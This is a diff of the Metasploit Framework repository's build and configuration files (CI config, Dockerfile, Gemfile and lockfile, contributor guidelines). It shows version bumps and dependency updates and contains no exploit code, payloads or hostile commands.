| 30f833f684 | |||
| 52385f4d9e | |||
| b8c40a9d95 | |||
| 3c204f91ef | |||
| 65f2ee9109 | |||
| 7db506887b | |||
| eb0d174987 | |||
| 9afb09813f | |||
| a07f7c9f42 | |||
| 27a517e0f6 | |||
| a7a17c677c | |||
| 86726978ed | |||
| 1c44406e94 | |||
| 363d3c28d7 | |||
| e4465c9350 | |||
| b218cc3c7f | |||
| 363e11850b | |||
| ad9329993d | |||
| 7b87915e1f | |||
| 5ae708081d | |||
| a58552daad | |||
| 5f66b7eb1a | |||
| cfbd3c1615 | |||
| c3fa30707d | |||
| ba880d1a85 | |||
| 2966fb7c8c | |||
| fc52ef9941 | |||
| ddfa1d722b | |||
| 8d60fdf9e7 | |||
| 861f4a6201 | |||
| 47adfb9956 | |||
| 4ec72d7091 | |||
| 7339658ba9 | |||
| 8138396ab5 | |||
| 6289cc0b70 | |||
| 0910c482a9 | |||
| faa84faf25 | |||
| f8f363c5c9 | |||
| 8f864c27e3 | |||
| 54a62976f8 | |||
| 6b0b2550ec | |||
| 978fdb07b0 | |||
| c91ef1f092 | |||
| f5a73f3efe | |||
| 2ebf53b647 | |||
| 2a884af022 | |||
| d38ee0f1ee | |||
| 35ecc822f1 | |||
| bead7374de | |||
| 00c593e0a2 | |||
| a9a307540f | |||
| 8f1e353b6e | |||
| a0181a4d54 | |||
| c15968e0d3 | |||
| 7e9d0b3e9b | |||
| c67e407c9c | |||
| a304df265c | |||
| accb77d268 | |||
| ee9e4275d5 | |||
| 50c168415c | |||
| 65d17784d4 | |||
| eeb51447af | |||
| b9fdca04a1 | |||
| c365db135a | |||
| 9877a61eff | |||
| b38a962c09 | |||
| 7a2a47586b | |||
| 5294722b96 | |||
| dfba42e2c1 | |||
| 4ec87985a2 | |||
| c8b8ef03bd | |||
| bfdea35aca | |||
| 75270af9e7 | |||
| 8b8e5e4cb5 | |||
| d525b015f0 | |||
| 558d007d8e | |||
| f004e6f0f2 | |||
| 7acd772c10 | |||
| fdc9864b61 | |||
| e3de01219a | |||
| abc80655b7 | |||
| 816e78b6f6 | |||
| 5d009c8d0b | |||
| 048316864c | |||
| 97d08e0da4 | |||
| 637b83a0ea | |||
| d71f7876b8 | |||
| 36bbe00ea1 | |||
| 96f7012fe7 | |||
| b884705a93 | |||
| e7b4cb71b1 | |||
| bcec8c8eab | |||
| bc02df16b3 | |||
| e83e4d0a7e | |||
| be66ed8af3 | |||
| 44fb059cea | |||
| 33e1777bab | |||
| b0dc44fb86 | |||
| 636d1a5fcb | |||
| d05c401866 | |||
| fde68acc0e | |||
| fdf7149438 | |||
| 6051a1a1c1 | |||
| 055e88d261 | |||
| 92f5290a50 | |||
| bcfab11ca9 | |||
| 7c14a3d370 | |||
| 86db2a5771 | |||
| 8a045e65aa | |||
| 642a13e820 | |||
| 3c1abe6437 | |||
| 1a735c48b4 | |||
| 86ee77ffb0 | |||
| 195c1e041f | |||
| ffbf21cb1c | |||
| 7b71f60ea1 | |||
| 26f4fa3b09 | |||
| a2396991f0 | |||
| 6dbe00158f | |||
| 49173818fd | |||
| 2bbba9c500 | |||
| eec5d2ada9 | |||
| 3b745bd17c | |||
| 9387a765e5 | |||
| 52c8fff3cb | |||
| 42ab00fd2c | |||
| 4934023fa5 | |||
| d53f10554d | |||
| d0ff2694b3 | |||
| aee44e3bd2 | |||
| 7cfb5fcc97 | |||
| 8b67b710fa | |||
| 202c936868 | |||
| 8928197584 | |||
| 46eeb1bee0 | |||
| d5124fdc94 | |||
| e1b38ac3a3 | |||
| 5631ddc246 | |||
| 39299c0fb8 | |||
| c9e32fbb18 | |||
| fbb0f206fb | |||
| b0c1bfaeb7 | |||
| a40429158f | |||
| 847407f1dd | |||
| 0e1bafb2d1 | |||
| a0131f450e | |||
| cc33b29f0d | |||
| b2fc0e55de | |||
| 06fc5c8a3e | |||
| 3d489a516c | |||
| dafd7885e1 | |||
| 928d632042 | |||
| f7071818b1 | |||
| 368e37428e | |||
| d6ed1f6f8d | |||
| 3bdb572e01 | |||
| 4b272f309b | |||
| 3e5869e918 | |||
| 8fdcc142c7 | |||
| a0e04760b5 | |||
| d50c7d7f5c | |||
| 1e8edb377f | |||
| d23edf5cd1 | |||
| 582b2e238e | |||
| 15ec40f5c6 | |||
| b42a0759ce | |||
| 406cbd0985 | |||
| ef6c20ce51 | |||
| 598151c194 | |||
| bd7ea1f90d | |||
| 5bf1d916bc | |||
| f785fe63ad | |||
| 2e9d7cdf0a | |||
| 7dfde651ea | |||
| a8067070f2 | |||
| 924c3de9f3 | |||
| f9a2c3406f | |||
| 3420633f29 | |||
| b797e96a19 | |||
| 779b25bdf6 | |||
| 682851ac59 | |||
| 801e3e2d68 | |||
| abaf80f3df | |||
| 8f05f7eeb6 | |||
| 32a4436ecd | |||
| e4fc307ebb | |||
| 7b18c17445 | |||
| 2969da3d70 | |||
| be2739d335 | |||
| 29c48f9d8d | |||
| e3a9ddfc22 | |||
| 33f2ebc2aa | |||
| 58e332cc7c | |||
| 0d17e94f54 | |||
| cde319a5ec | |||
| b529c3551c | |||
| 3fcd248d3a | |||
| 5b7785438f | |||
| 6eae3b3d4e | |||
| 6ac8ed490b | |||
| b4055a8071 | |||
| 55db70ec3e | |||
| 27822c2ccf | |||
| 25764397ba | |||
| 7881a7ddc4 | |||
| 437fe4b63a | |||
| de02b52c8e | |||
| 1a9a942c1f | |||
| 2383afd8dc | |||
| b78cb12546 | |||
| 234a95af78 | |||
| adbeab81da | |||
| 055d64d32b | |||
| 60c3882b84 | |||
| 5c8a90a7be | |||
| 99546330f1 | |||
| c336daec8d | |||
| 85f48b96bb | |||
| d7d64286e2 | |||
| 6a20e1ac7d | |||
| 4845b4b1fa | |||
| 2e87a3d3f8 | |||
| 30664924c8 | |||
| dd0c78484a | |||
| 853ae9a6ce | |||
| cd418559bc | |||
| d66e8062e7 | |||
| fe5c6dc28f | |||
| 6c22f785e9 | |||
| e787d43344 | |||
| c187f709dc | |||
| 00a817d228 | |||
| f3f96babb9 | |||
| 219987726f | |||
| 5ca523e2ce | |||
| af0a9c2f86 | |||
| 99ba645034 | |||
| 33a06faadb | |||
| 1a3fe02db1 | |||
| e52e9c147d | |||
| f259682f12 | |||
| e20169c428 | |||
| 668aa4edaf | |||
| 4f6eab102f | |||
| 1bd7a0ea2a | |||
| cf8cf564b2 | |||
| 23831e6df9 | |||
| 4278339869 | |||
| 71fde14b6c | |||
| f557aa3c9c | |||
| 6a3fc618a4 | |||
| 4e3d5fa8a3 | |||
| a8983c831d | |||
| afe801b9e8 | |||
| 073cd59cd3 | |||
| 67086966ac | |||
| 8ce10ac591 | |||
| d5fd620fbb | |||
| c4c133dff8 | |||
| 066df5f1a9 | |||
| bd96380d19 | |||
| c699c7c506 | |||
| 143a4af73d |
+1
-1
@@ -34,7 +34,7 @@ config/database.yml
|
||||
# target config file for testing
|
||||
features/support/targets.yml
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
coverage/
|
||||
doc/
|
||||
external/source/meterpreter/java/bin
|
||||
external/source/meterpreter/java/build
|
||||
|
||||
@@ -88,6 +88,7 @@ data/meterpreter/ext_server_pivot.*.dll
|
||||
|
||||
# local docker compose overrides
|
||||
docker-compose.local*
|
||||
.env
|
||||
|
||||
# Ignore python bytecode
|
||||
*.pyc
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
|
||||
@@ -30,6 +31,7 @@ lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.4.1
|
||||
2.4.3
|
||||
|
||||
+12
-5
@@ -12,8 +12,8 @@ addons:
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.2'
|
||||
- '2.3.4'
|
||||
- '2.4.1'
|
||||
- '2.3.6'
|
||||
- '2.4.3'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
@@ -21,9 +21,15 @@ env:
|
||||
|
||||
matrix:
|
||||
fast_finish: true
|
||||
|
||||
jobs:
|
||||
# build docker image
|
||||
include:
|
||||
- rvm: ruby-head
|
||||
env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build"
|
||||
- env: CMD="docker-compose build" DOCKER="true"
|
||||
# we do not need any setup
|
||||
before_install: skip
|
||||
install: skip
|
||||
before_script: skip
|
||||
before_install:
|
||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||
- rake --version
|
||||
@@ -42,7 +48,8 @@ before_script:
|
||||
- git diff --exit-code db/schema.rb
|
||||
script:
|
||||
- echo "${CMD}"
|
||||
- bash -c "${CMD}"
|
||||
# we need travis_wait because the Docker build job can take longer than 10 minutes
|
||||
- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
--exclude samples/
|
||||
--exclude \.ut\.rb/
|
||||
--exclude \.ts\.rb/
|
||||
--files CONTRIBUTING.md,COPYING,HACKING,LICENSE
|
||||
--files CONTRIBUTING.md,COPYING,LICENSE
|
||||
app/**/*.rb
|
||||
lib/msf/**/*.rb
|
||||
lib/metasploit/**/*.rb
|
||||
|
||||
+4
-4
@@ -45,8 +45,8 @@ and Metasploit's [Common Coding Mistakes].
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description
|
||||
* **Do** write [release notes] once a pull request is landed
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Do** write [release notes] once a pull request is landed.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
|
||||
@@ -58,8 +58,8 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software.
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs.
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Copyright (C) 2006-2017, Rapid7, Inc.
|
||||
Copyright (C) 2006-2018, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
||||
@@ -1,30 +1,36 @@
|
||||
FROM ruby:2.4.1-alpine
|
||||
MAINTAINER Rapid7
|
||||
FROM ruby:2.4.3-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV MSF_USER msf
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
COPY Gemfile* m* Rakefile $APP_HOME
|
||||
COPY lib $APP_HOME/lib
|
||||
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME
|
||||
COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/version.rb
|
||||
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
|
||||
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
bash \
|
||||
sqlite-libs \
|
||||
nmap \
|
||||
nmap-scripts \
|
||||
nmap-nselibs \
|
||||
postgresql-libs \
|
||||
python \
|
||||
python3 \
|
||||
ncurses \
|
||||
libcap \
|
||||
su-exec \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
autoconf \
|
||||
bison \
|
||||
build-base \
|
||||
ruby-dev \
|
||||
openssl-dev \
|
||||
libressl-dev \
|
||||
readline-dev \
|
||||
sqlite-dev \
|
||||
postgresql-dev \
|
||||
@@ -36,22 +42,22 @@ RUN apk update && \
|
||||
ncurses-dev \
|
||||
git \
|
||||
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& gem install bundler \
|
||||
&& bundle install --system $BUNDLER_ARGS \
|
||||
&& apk del .ruby-builddeps \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
|
||||
# fix for robots gem not readable (known bug)
|
||||
# https://github.com/rapid7/metasploit-framework/issues/6068
|
||||
RUN chmod o+r /usr/local/bundle/gems/robots-*/lib/robots.rb
|
||||
|
||||
RUN adduser -g msfconsole -D $MSF_USER
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip /usr/bin/nmap
|
||||
|
||||
USER $MSF_USER
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
ADD ./ $APP_HOME
|
||||
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
# it results in access denied errors. Once docker has
|
||||
# a solution for this we can revert it back to normal
|
||||
ENTRYPOINT ["docker/entrypoint.sh"]
|
||||
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc"]
|
||||
@@ -19,8 +19,18 @@ group :development do
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
# Disabled for now for crypttlv updates
|
||||
# gem 'metasploit-aggregator'
|
||||
gem 'metasploit-aggregator' if [
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
gem 'google-protobuf', '3.5.1' if [
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
gem 'grpc', '1.8.3' if [
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
|
||||
+130
-96
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.16.2)
|
||||
metasploit-framework (4.16.43)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -10,6 +10,7 @@ PATH
|
||||
bcrypt_pbkdf
|
||||
bit-struct
|
||||
dnsruby
|
||||
faker
|
||||
filesize
|
||||
jsobfu
|
||||
json
|
||||
@@ -17,9 +18,10 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.1)
|
||||
metasploit-payloads (= 1.3.29)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.2.0)
|
||||
metasploit_payloads-mettle (= 0.3.7)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ssh
|
||||
@@ -36,8 +38,6 @@ PATH
|
||||
pg (= 0.20.0)
|
||||
railties
|
||||
rb-readline
|
||||
rbnacl (< 5.0.0)
|
||||
rbnacl-libsodium
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch
|
||||
@@ -49,7 +49,7 @@ PATH
|
||||
rex-mime
|
||||
rex-nop
|
||||
rex-ole
|
||||
rex-powershell (< 0.1.73)
|
||||
rex-powershell (< 0.1.78)
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-rop_builder
|
||||
@@ -58,8 +58,8 @@ PATH
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
robots
|
||||
ruby_smb
|
||||
ruby-macho
|
||||
ruby_smb (= 0.0.18)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sqlite3
|
||||
@@ -73,72 +73,101 @@ PATH
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.0.2)
|
||||
actionpack (4.2.9)
|
||||
actionview (= 4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
Ascii85 (1.0.3)
|
||||
actionpack (4.2.10)
|
||||
actionview (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
actionview (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.3)
|
||||
activemodel (4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
activemodel (4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.9)
|
||||
activemodel (= 4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
activerecord (4.2.10)
|
||||
activemodel (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.9)
|
||||
activesupport (4.2.10)
|
||||
i18n (~> 0.7)
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
tzinfo (~> 1.1)
|
||||
addressable (2.5.1)
|
||||
public_suffix (~> 2.0, >= 2.0.2)
|
||||
addressable (2.5.2)
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.4.0)
|
||||
arel-helpers (2.6.1)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.8.0)
|
||||
backports (3.11.1)
|
||||
bcrypt (3.1.11)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.0)
|
||||
bindata (2.4.2)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.1)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
crass (1.0.3)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.60.2)
|
||||
docile (1.1.5)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.8.0)
|
||||
factory_girl (4.9.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_girl_rails (4.8.0)
|
||||
factory_girl (~> 4.8.0)
|
||||
factory_girl_rails (4.9.0)
|
||||
factory_girl (~> 4.9.0)
|
||||
railties (>= 3.0.0)
|
||||
faraday (0.13.1)
|
||||
faker (1.8.7)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.14.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.5)
|
||||
fivemat (1.3.6)
|
||||
google-protobuf (3.5.1)
|
||||
googleapis-common-protos-types (1.0.1)
|
||||
google-protobuf (~> 3.0)
|
||||
googleauth (0.6.2)
|
||||
faraday (~> 0.12)
|
||||
jwt (>= 1.4, < 3.0)
|
||||
logging (~> 2.0)
|
||||
memoist (~> 0.12)
|
||||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.8.3)
|
||||
google-protobuf (~> 3.1)
|
||||
googleapis-common-protos-types (~> 1.0.0)
|
||||
googleauth (>= 0.5.1, < 0.7)
|
||||
hashery (2.1.2)
|
||||
i18n (0.8.6)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
loofah (2.0.3)
|
||||
jwt (2.1.0)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.2.2)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.10)
|
||||
loofah (2.2.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memoist (0.16.0)
|
||||
metasm (1.0.3)
|
||||
metasploit-aggregator (1.0.0)
|
||||
grpc
|
||||
rex-arch
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (2.0.12)
|
||||
metasploit-credential (2.0.13)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models
|
||||
@@ -151,38 +180,41 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.1)
|
||||
metasploit_data_models (2.0.15)
|
||||
metasploit-payloads (1.3.29)
|
||||
metasploit_data_models (2.0.16)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
pg
|
||||
pg (= 0.20.0)
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.2.0)
|
||||
method_source (0.8.2)
|
||||
mini_portile2 (2.2.0)
|
||||
minitest (5.10.3)
|
||||
msgpack (1.1.0)
|
||||
metasploit_payloads-mettle (0.3.7)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.2.2)
|
||||
multi_json (1.13.1)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (4.1.0)
|
||||
network_interface (0.0.1)
|
||||
nexpose (6.1.1)
|
||||
nokogiri (1.8.0)
|
||||
mini_portile2 (~> 2.2.0)
|
||||
octokit (4.7.0)
|
||||
net-ssh (4.2.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.0)
|
||||
nokogiri (1.8.2)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.8.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
os (0.9.6)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pdf-reader (2.0.0)
|
||||
pdf-reader (2.1.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
@@ -194,37 +226,32 @@ GEM
|
||||
activerecord (>= 4.0.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.10.4)
|
||||
pry (0.11.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
public_suffix (2.0.5)
|
||||
rack (1.6.8)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.2)
|
||||
rack (1.6.9)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
activesupport (>= 4.2.0.alpha)
|
||||
rails-dom-testing (1.0.8)
|
||||
activesupport (>= 4.2.0.beta, < 5.0)
|
||||
rails-dom-testing (1.0.9)
|
||||
activesupport (>= 4.2.0, < 5.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
loofah (~> 2.0)
|
||||
railties (4.2.9)
|
||||
actionpack (= 4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
railties (4.2.10)
|
||||
actionpack (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.0.0)
|
||||
rake (12.3.0)
|
||||
rb-readline (0.5.5)
|
||||
rbnacl (4.0.2)
|
||||
ffi
|
||||
rbnacl-libsodium (1.0.13)
|
||||
rbnacl (>= 3.0.1)
|
||||
recog (2.1.12)
|
||||
recog (2.1.18)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.11)
|
||||
rex-arch (0.1.13)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.4)
|
||||
metasm
|
||||
@@ -232,12 +259,12 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.12)
|
||||
rex-core (0.1.13)
|
||||
rex-encoder (0.1.4)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.14)
|
||||
rex-exploitation (0.1.17)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -250,51 +277,51 @@ GEM
|
||||
rex-arch
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.72)
|
||||
rex-powershell (0.1.77)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.2)
|
||||
rex-random_identifier (0.1.4)
|
||||
rex-text
|
||||
rex-registry (0.1.3)
|
||||
rex-rop_builder (0.1.3)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.8)
|
||||
rex-socket (0.1.10)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.15)
|
||||
rex-text (0.2.16)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
robots (0.10.1)
|
||||
rspec (3.6.0)
|
||||
rspec-core (~> 3.6.0)
|
||||
rspec-expectations (~> 3.6.0)
|
||||
rspec-mocks (~> 3.6.0)
|
||||
rspec-core (3.6.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-expectations (3.6.0)
|
||||
rspec (3.7.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-core (3.7.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-expectations (3.7.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-mocks (3.6.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-mocks (3.7.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-rails (3.6.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rails (3.7.2)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.6.0)
|
||||
rspec-expectations (~> 3.6.0)
|
||||
rspec-mocks (~> 3.6.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.6.0)
|
||||
rspec-support (3.7.1)
|
||||
ruby-macho (1.1.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (0.0.18)
|
||||
bindata
|
||||
@@ -305,28 +332,32 @@ GEM
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
simplecov (0.15.0)
|
||||
signet (0.8.1)
|
||||
addressable (~> 2.3)
|
||||
faraday (~> 0.9)
|
||||
